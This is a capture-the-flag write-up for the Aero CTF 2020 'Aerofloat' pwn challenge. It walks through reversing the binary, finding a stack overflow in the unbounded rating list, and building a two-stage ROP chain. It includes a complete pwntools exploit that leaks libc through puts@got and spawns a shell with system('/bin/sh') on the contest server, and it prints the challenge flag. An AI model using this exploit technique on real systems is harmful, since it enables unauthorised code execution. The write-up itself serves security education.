Writeup: Aero CTF 2020 - Aerofloat

Information

  • category : pwn
  • points : 100

Description

nc tasks.aeroctf.com 33017

flag in /tmp/flag.txt

3 file: aerofloat, libc.so.6, ld-linux-x86-64.so.2

Writeup

1
2
3
4
5
6
7
8
9
10
$ file aerofloat
aerofloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec --file=./aerofloat
RELRO: Partial
STACK CANARY: No
NX: Yes
PIE: No
Symbols: 76
$ strings libc.so.6 | grep "glibc 2."
glibc 2.29

We have a 64 bit ELF binary, with PIE disabled and no stack canary. To make
things easier the challenge provider also gives us the glibc used on the server
(2.29).

Let’s run the binary (with # my comments):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
./aerofloat
{?} Enter name: meowmeowxw # input
1. Set rating
2. View rating list
3. View porfile info
4. Exit
> 1 # input
{?} Enter your ticket id: 1 # input
{?} Enter your rating: 1 # input
{+} You set rating <1.000000> to ticket <1>
1. Set rating
2. View rating list
3. View porfile info
4. Exit
> 1
{?} Enter your ticket id: 2
{?} Enter your rating: 2.2
{+} You set rating <2.200000> to ticket <2>
1. Set rating
2. View rating list
3. View porfile info
4. Exit
> 1
{?} Enter your ticket id: 1
{?} Enter your rating: 1
{+} You set rating <1.000000> to ticket <1>
1. Set rating
2. View rating list
3. View porfile info
4. Exit
> 2
----- Your rating list -----
----- Rating [0] -----
Ticket: 1
Score: 1.000000
----- Rating [1] -----
Ticket: 2
Score: 2.200000
----- Rating [2] -----
Ticket: 1
Score: 1.000000
------ Profile ------
Name: meowmeowxw
You set 3 ratins
1. Set rating
2. View rating list
3. View porfile info
4. Exit
> 3
------ Profile ------
Name: meowmeowxw
You set 3 ratins
1. Set rating
2. View rating list
3. View porfile info
4. Exit
> 4

Ok basically with option 1 we can set a ticket id, and the respective score
which is converted to float. Option 2 and 3 shows various information about our
status and with 4 we exit.

Let’s open the binary in cutter, and this is the main decompile with
r2ghidra-dec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
undefined8 main(void)
{
bool bVar1;
char *buffer_ticket;
undefined8 auStack192 [20];
undefined8 var_option;
uint32_t counter;
uint32_t var_return;
undefined8 var_4h;

setup();
printf("{?} Enter name: ");
read_buf(name, 0x80);
var_4h._0_4_ = 3;
bVar1 = false;
counter = 0;
code_r0x004013de:
do {
while( true ) {
if (bVar1) {
return 0;
}
if ((int32_t)var_4h < 1) {
exit(0xfffffffe);
}
menu();
var_option._0_4_ = read_int();
if ((int32_t)var_option == -0x21524111) {
exit(0xffffffff);
}
if ((int32_t)var_option != 4) break;
bVar1 = true;
}
if ((int32_t)var_option < 5) {
if ((int32_t)var_option == 3) {
code_r0x00401394:
puts("------ Profile ------");
printf("Name: %s\n", name);
printf("You set %d ratins\n", (uint64_t)counter);
goto code_r0x004013de;
}
if ((int32_t)var_option < 4) {
if ((int32_t)var_option == 1) {
printf("{?} Enter your ticket id: ");
read_buf(&buffer_ticket + (int64_t)(int32_t)counter * 2, 8);
printf("{?} Enter your rating: ");
__isoc99_scanf(0x40204c, auStack192 + (int64_t)(int32_t)counter * 2,
(int64_t)(int32_t)counter * 0x10);
printf(auStack192[(int64_t)(int32_t)counter * 2], "{+} You set rating <%lf> to ticket <%s>\n",
&buffer_ticket + (int64_t)(int32_t)counter * 2,
&buffer_ticket + (int64_t)(int32_t)counter * 2);
counter = counter + 1;
goto code_r0x004013de;
}
if ((int32_t)var_option == 2) {
puts("----- Your rating list -----");
var_option._4_4_ = 0;
while ((int32_t)var_option._4_4_ < (int32_t)counter) {
printf("----- Rating [%d] -----\n", (uint64_t)var_option._4_4_);
printf("Ticket: %s\n");
printf(auStack192[(int64_t)(int32_t)var_option._4_4_ * 2], "Score: %lf\n");
var_option._4_4_ = var_option._4_4_ + 1;
}
goto code_r0x00401394;
}
}
}
var_4h._0_4_ = (int32_t)var_4h + -1;
} while( true );
}

read_buf decompiled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
uint64_t read_buf(void *arg1, undefined8 arg2)
{
uint32_t uVar1;
uint64_t uVar2;
void *buf;
undefined8 var_4h;

uVar1 = read(0, arg1, (int64_t)arg2);
if ((int32_t)uVar1 < 1) {
uVar2 = 0;
} else {
if (*(char *)((int64_t)arg1 + (int64_t)uVar1 + -1) == '\n') {
*(undefined *)((int64_t)arg1 + (int64_t)uVar1 + -1) = 0;
}
uVar2 = (uint64_t)uVar1;
}
return uVar2;
}

It simply read from stdin and put a \0 at the new line.

read_int decompiled:

1
2
3
4
5
6
7
8
9
10
11
12
uint64_t read_int(void)
{
int32_t iVar1;
uint32_t uVar2;
char *str;
undefined8 var_4h;

iVar1 = read(0, &str, 8);
*(undefined *)((int64_t)&str + (int64_t)(iVar1 + -1)) = 0;
uVar2 = atoi(&str);
return (uint64_t)uVar2;
}

It reads 8 bytes from stdin and then it converts it to an int (casted to
uint64_t) using atoi.

These are the functions defined in the binary:

As we can see there isn’t a function which magically prints the flag, so we need
to break the binary and call a shell.

The main has allocated the following variables:

We can easily see that the pair (ticket id, score) will be saved in
buffer_ticket. There isn’t a control on how many tickets we can set, so there
is a stack-based buffer overflow. The option we need to look for is the option
1, so let’s check it from the disassembly, because the decompiled isn’t so
understandable:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ((int32_t)var_option == 1) {
printf("{?} Enter your ticket id: ");
read_buf(&buffer_ticket + (int64_t)(int32_t)counter * 2, 8);
printf("{?} Enter your rating: ");
__isoc99_scanf(0x40204c, auStack192 + (int64_t)(int32_t)counter * 2,
(int64_t)(int32_t)counter * 0x10);
// the following line is not decompiled correctly
// printf(auStack192[(int64_t)(int32_t)counter * 2], "{+} You set rating <%lf> to ticket <%s>\n",
// &buffer_ticket + (int64_t)(int32_t)counter * 2,
// &buffer_ticket + (int64_t)(int32_t)counter * 2);
counter = counter + 1;
goto code_r0x004013de;
}

disassemly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
lea rdi, str.Enter_your_ticket_id: ; const char *format
mov eax, 0
call printf ; sym.imp.printf ; int printf(const char *format)
lea rax, [buffer_ticket]
mov edx, dword [counter]
movsxd rdx, edx
shl rdx, 4
add rax, rdx
mov esi, 8
mov rdi, rax
call read_buf ; sym.read_buf
lea rdi, str.Enter_your_rating: ; const char *format
mov eax, 0
call printf ; sym.imp.printf ; int printf(const char *format)
lea rax, [buffer_ticket]
mov edx, dword [counter]
movsxd rdx, edx
shl rdx, 4
add rax, rdx
add rax, 8
mov rsi, rax
lea rdi, [0x0040204c] ; const char *format
mov eax, 0
call __isoc99_scanf ; sym.imp.__isoc99_scanf ; int scanf(const char *format)
lea rax, [buffer_ticket]
mov edx, dword [counter]
movsxd rdx, edx
shl rdx, 4
add rdx, rax
mov eax, dword [counter]
cdqe
shl rax, 4
add rax, rbp
sub rax, 0xb8
mov rax, qword [rax]
mov rsi, rdx
movq xmm0, rax
lea rdi, str.You_set_rating___lf__to_ticket___s ; const char *format
mov eax, 1
call printf ; sym.imp.printf ; int printf(const char *format)
add dword [counter], 1
jmp 0x4013de

Let’s divide it into three parts, and comment them using cutter (my comments in
yellow):

So every 16 bytes there will be 8 bytes of the ticket id, which is a string.

Every 16 bytes + 8 there will be the score converted to double “%lf”.

And then the program print the information about the last ticket inserted, and
increments the counter.
To confirm this behaviour we can simply debug the program (ex. using gdb or
cutter) and see how the values are stored on the stack.

Recap:

  • We know from the main variables that our buffer_ticket starts at $rbp-0xc0
  • Every time we set a ticket we insert 8 bytes + 8 bytes converted to double = 16 bytes.

Since 0xc0 = 16 * 12, after 12 insertions (option 1.) we starts to
overwrite the base pointer (on the stack), and after other 8 bytes the return
address.

Now it’s trivial to build a ROP chain. Since there is ASLR enabled on the
server we need to leak an address from the glibc to know the address of system
. To do that, I use a gadget to set in rdi the address of puts@got (which
contains the address of puts in the glibc) and then I print it using puts@plt.
Once I know the address of puts in the glibc, I can compute the address of the
glibc (where it starts), and the addresses of system and /bin/sh (using the
glibc provided). Now I just need to restart the main function and pass to the
program the right gadgets to call system(‘/bin/sh’).

1
2
3
4
5
6
# 1st stage
ret -> pop_rdi; ret -> puts@plt; ...; ret -> main
puts@got
# 2nd stage
main -> ret -> pop_rdi; ret -> system -> shell
addr(/bin/sh)

The last thing that we need, is to write a function that converts our input in
a string that converted to double is equal to our input. This is needed when we
want to insert arbitrary values inside the return address or more generally in
the score.

1
2
3
def byte_to_float(data):
assert len(data) == 8
return str(struct.unpack('d', bytes(data))[0])

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3

from pwn import connect, process, ELF, context, p64, u64, log
import struct

class Sender:
def __init__(self, debug=False, remote=False):
self.program = ELF('./aerofloat.bin', checksec=False)
if remote:
self.aero = connect('tasks.aeroctf.com', 33017)
self.libc = ELF('./libc.so.6', checksec=False)
else:
self.aero = process('./aerofloat.bin')
self.libc = ELF('/lib/libc.so.6', checksec=False)
if debug:
context.log_level = 'debug'

def send_ticket(self, id, value):
self.aero.recv()
self.aero.sendline('1')
self.aero.recvuntil(': ')
self.aero.sendline(id)
self.aero.recvuntil(': ')
self.aero.sendline(value)

def byte_to_float(data):
assert len(data) == 8
return str(struct.unpack('d', bytes(data))[0])

def main():
snd = Sender(debug=False, remote=True)
pop_rdi = p64(0x4015bb)
puts_got = p64(snd.program.got['puts']) # 0x00404018
puts_plt = p64(snd.program.sym['puts']) # 0x00401030
main_sym = p64(snd.program.sym['main'])

# 1st stage
snd.aero.recvuntil(':')
snd.aero.sendline('giggi')
for _ in range(0, 12):
snd.send_ticket('1', '1')
# rbp and return value
snd.send_ticket(b'\x00' * 8, byte_to_float(pop_rdi))
# puts@plt(puts@got)
snd.send_ticket(puts_got, byte_to_float(puts_plt))
# when return from puts@plt return to main, the second param is useless
snd.send_ticket(main_sym, byte_to_float(main_sym))

snd.aero.recv()
snd.aero.sendline('4')
# an address a 64 bit uses only 48 bit, so we add two b'\x00' to pad to
# 64 and unpack it
puts_libc = u64(snd.aero.recv(6) + b'\x00' * 2)
libc_base = puts_libc - snd.libc.sym['puts']
system = p64(libc_base + snd.libc.sym['system'])
bin_sh = p64(libc_base + next(snd.libc.search(b'/bin/sh')))
log.info("puts: " + str(hex(puts_libc)))
log.info("system: " + str(hex(u64(system))))
log.info("/bin/sh: " + str(hex(u64(bin_sh))))

# 2nd stage
snd.aero.recvuntil(':')
snd.aero.sendline('giggi')
for _ in range(0, 12):
snd.send_ticket('1', '1')
# ret to -> system('/bin/sh')
snd.send_ticket(b'\x00' * 8, byte_to_float(pop_rdi))
snd.send_ticket(bin_sh, byte_to_float(system))
snd.aero.recv()
snd.aero.sendline('4')
snd.aero.interactive()

if __name__ == '__main__':
main()

Flag

Aero{8c911e90f6ff8ecb6a333ebacfccd28b36d1f9b02386cc884b343f1f02da62e6}